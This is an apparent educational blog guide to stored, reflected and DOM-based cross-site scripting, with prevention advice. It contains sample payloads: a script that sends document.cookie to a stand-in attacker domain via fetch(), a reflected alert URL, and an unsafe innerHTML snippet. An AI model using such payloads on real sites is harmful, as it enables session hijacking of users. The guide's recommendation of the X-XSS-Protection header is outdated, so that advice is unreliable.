Stored vs Reflected XSS: What's the Difference?
The Definitive Guide to Cross-Site Scripting (XSS)
Understanding Stored, Reflected, and DOM-based vulnerabilities in 2026
In the hierarchy of web vulnerabilities, Cross-Site Scripting (XSS) remains the "unrivaled king." Despite decades of security advancements and the rise of modern frameworks, XSS continues to plague millions of websites. Whether you are a security researcher or a full-stack developer, mastering the nuances between Stored, Reflected, and DOM-based XSS is non-negotiable for protecting user data.
Stored (Persistent)
The payload is permanently "cooked" into your database. It executes for every single user who visits the infected page.
Reflected (Non-Persistent)
The payload "bounces" off the server via a link. It requires a victim to be tricked into clicking a malicious URL.
DOM-Based
The vulnerability lives entirely in client-side JavaScript. The server never even sees the malicious payload.
Chapter 1: The Anatomy of an Injection
At its core, XSS is a failure of **Context Separation**. A web browser receives a stream of text and must decide which parts are data (content to be displayed) and which parts are instructions (HTML tags and JavaScript). When an attacker successfully disguises an instruction as data, the browser executes it without question.
The Persistence Factor
The primary differentiator between XSS types is the "lifecycle" of the payload. In a **Stored XSS** attack, the attacker interacts with a "sink" that saves to a database—like a user profile's "Bio" section. Because the server treats this as legitimate content, it serves the script to every visitor, making it a "one-to-many" attack vector.
Chapter 2: Stored XSS - The Database Poison
Stored XSS is often considered the most damaging because it bypasses the need for social engineering. The attacker doesn't need to send a link to anyone; the website itself becomes the distributor of the malware.
Real-World Scenario: The Forum Defacement
Imagine a forum where users can post comments. An attacker posts a comment containing a payload designed to steal session cookies. The forum's backend fails to sanitize this input and saves it to the MySQL database.
<script>
fetch('https://attacker-eviltrap.com/collect?cookie=' + document.cookie);
</script>
One of the most famous examples of Stored XSS was the Samy worm on MySpace. In just 20 hours, it infected over one million accounts. Every time a user viewed an infected profile, the script added "Samy" as a friend and copied the worm to the viewer's own profile.
Chapter 3: Reflected XSS - The Echo Attack
Reflected XSS is the most common form found in bug bounty programs. It occurs when a web application takes user input (usually via a URL parameter) and immediately displays it back on the page without proper encoding.
Common Injection Points:
- Search Bars: "You searched for: [Term]"
- Error Pages: "The page [Filename] was not found"
- Welcome Messages: "Welcome back, [Username]"
https://vulnerable-site.com/search?query=<script>alert(document.domain)</script>
To execute this, the attacker must use social engineering. They might disguise the malicious link using a URL shortener or embed it in a phishing email. When the victim clicks, their browser sends the script to the server, which "reflects" it back into the victim's browser, where it executes.
Chapter 4: DOM-Based XSS - The Client-Side Silent Killer
DOM-based XSS is unique because it never leaves the user's computer. In Stored and Reflected XSS, the malicious payload is part of the HTML response sent by the server. In DOM XSS, the server response is clean, but the client-side JavaScript takes data from an unsafe source and executes it.
Sources vs. Sinks
To understand DOM XSS, you must understand the path from Source to Sink:
- Sources:
location.hash,document.referrer,window.name. - Sinks:
element.innerHTML,eval(),setTimeout().
// A common mistake in single-page apps
const userHash = window.location.hash.substring(1);
document.getElementById('status').innerHTML = "Status: " + userHash;
Chapter 5: The Ultimate Prevention Framework
Securing a WordPress site or custom application requires a "Defense-in-Depth" approach. No single tool is 100% effective; you must use layers.
1. Filter Input, Escape Output
This is the golden rule. Validation should happen on the way in (ensure the data is what you expect, like an email format), and Encoding should happen on the way out (convert special characters into safe HTML entities).
2. Use Modern Content Security Policies (CSP)
A CSP is an HTTP header that tells the browser which script sources are trusted. A well-configured CSP can stop XSS even if an injection vulnerability exists.
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none';
3. The Security Checklist
- Never use
.innerHTMLfor user-provided content; use.textContentor.innerText. - Set the HttpOnly flag on cookies to prevent them from being accessed via JavaScript.
- Use
X-XSS-Protection: 1; mode=blockheaders for older browser support. - In WordPress, always use functions like
esc_html()andesc_attr()before printing variables.
Conclusion
XSS is not a bug of the past—it is a byproduct of how the web was built. By understanding the persistence of **Stored XSS**, the delivery mechanism of **Reflected XSS**, and the client-side nature of **DOM XSS**, you can build applications that are resilient against even the most creative attackers. Stay curious, keep your dependencies updated, and always verify your "Sources" and "Sinks."

Post a Comment